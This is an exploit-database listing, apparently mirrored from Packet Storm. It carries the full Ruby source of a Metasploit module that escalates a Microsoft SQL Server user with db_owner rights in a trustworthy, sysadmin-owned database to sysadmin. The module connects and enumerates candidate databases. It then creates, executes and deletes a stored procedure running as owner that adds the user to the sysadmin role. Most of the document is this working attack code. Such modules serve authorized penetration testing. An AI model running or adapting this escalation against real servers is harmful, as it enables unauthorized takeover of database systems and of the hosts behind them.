Lucene search
K

Microsoft SQL Server Escalate Db_Owner

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 157 Views

This module can escalate privileges to sysadmin if the user has the db_owner role in a trustworthy database owned by a sysadmin user, allowing for obtaining a shell on the system

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL  
include Msf::OptionalSession::MSSQL  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Escalate Db_Owner',  
'Description' => %q{  
This module can be used to escalate privileges to sysadmin if the user has  
the db_owner role in a trustworthy database owned by a sysadmin user. Once  
the user has the sysadmin role the msssql_payload module can be used to obtain  
a shell on the system.  
},  
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],  
'License' => MSF_LICENSE,  
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]  
))  
end  
  
def run  
# Check connection and issue initial query  
if session  
set_mssql_session(session.client)  
else  
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")  
if mssql_login_datastore  
print_good('Connected.')  
else  
print_error("Login was unsuccessful. Check your credentials.")  
disconnect  
return  
end  
end  
  
# Query for sysadmin status  
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")  
user_status = check_sysadmin  
  
# Check if user has sysadmin role  
if user_status == 1  
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")  
disconnect  
return  
else  
print_status("You're NOT a sysadmin, let's try to change that")  
end  
  
# Check for trusted databases owned by sysadmins  
print_status("Checking for trusted databases owned by sysadmins...")  
trust_db_list = check_trust_dbs  
if trust_db_list.nil? || trust_db_list.length == 0  
print_error('No databases owned by sysadmin were found flagged as trustworthy.')  
disconnect  
return  
else  
# Display list of accessible databases to user  
print_good("#{trust_db_list.length} affected database(s) were found:")  
trust_db_list.each do |db|  
print_status(" - #{db[0]}")  
end  
end  
  
# Check if the user has the db_owner role in any of the databases  
print_status('Checking if the user has the db_owner role in any of them...')  
dbowner_status = check_db_owner(trust_db_list)  
if dbowner_status.nil?  
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")  
disconnect  
return  
end  
  
# Attempt to escalate to sysadmin  
print_status("Attempting to escalate in #{dbowner_status}!")  
escalate_status = escalate_privs(dbowner_status)  
if escalate_status  
# Check if escalation was successful  
user_status = check_sysadmin  
if user_status == 1  
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")  
else  
print_error("Fail buckets, something went wrong.")  
end  
else  
print_error("Error while trying to escalate status")  
end  
  
disconnect  
return  
end  
  
# Checks if user is already sysadmin  
def check_sysadmin  
# Setup query to check for sysadmin  
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse query results  
parse_results = result[:rows]  
status = parse_results[0][0]  
  
# Return status  
return status  
end  
  
# Gets trusted databases owned by sysadmins  
def check_trust_dbs  
# Setup query  
sql = "SELECT d.name AS DATABASENAME  
FROM sys.server_principals r  
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id  
INNER JOIN sys.server_principals p ON  
p.principal_id = m.member_principal_id  
inner join sys.databases d on suser_sname(d.owner_sid) = p.name  
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"  
  
result = mssql_query(sql)  
  
# Return on success  
return result[:rows]  
end  
  
# Checks if user has the db_owner role  
def check_db_owner(trust_db_list)  
# Check if the user has the db_owner role is any databases  
trust_db_list.each do |db|  
# Setup query  
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user  
from [#{db[0]}].sys.database_role_members drm  
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)  
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)  
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse query results  
parse_results = result[:rows]  
if parse_results && parse_results.any?  
print_good("- db_owner on #{db[0]} found!")  
return db[0]  
end  
end  
  
nil  
end  
  
def escalate_privs(dbowner_db)  
print_status("#{dbowner_db}")  
# Create the evil stored procedure WITH EXECUTE AS OWNER  
evil_sql_create = "use #{dbowner_db};  
DECLARE @myevil as varchar(max)  
set @myevil = '  
CREATE PROCEDURE sp_elevate_me  
WITH EXECUTE AS OWNER  
as  
begin  
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''  
end';  
exec(@myevil);  
select 1;"  
mssql_query(evil_sql_create)  
  
# Run the evil stored procedure  
evilsql_run = "use #{dbowner_db};  
DECLARE @myevil2 as varchar(max)  
set @myevil2 = 'EXEC sp_elevate_me'  
exec(@myevil2);"  
mssql_query(evilsql_run)  
  
# Remove evil procedure  
evilsql_remove = "use #{dbowner_db};  
DECLARE @myevil3 as varchar(max)  
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'  
exec(@myevil3);"  
mssql_query(evilsql_remove)  
  
true  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
157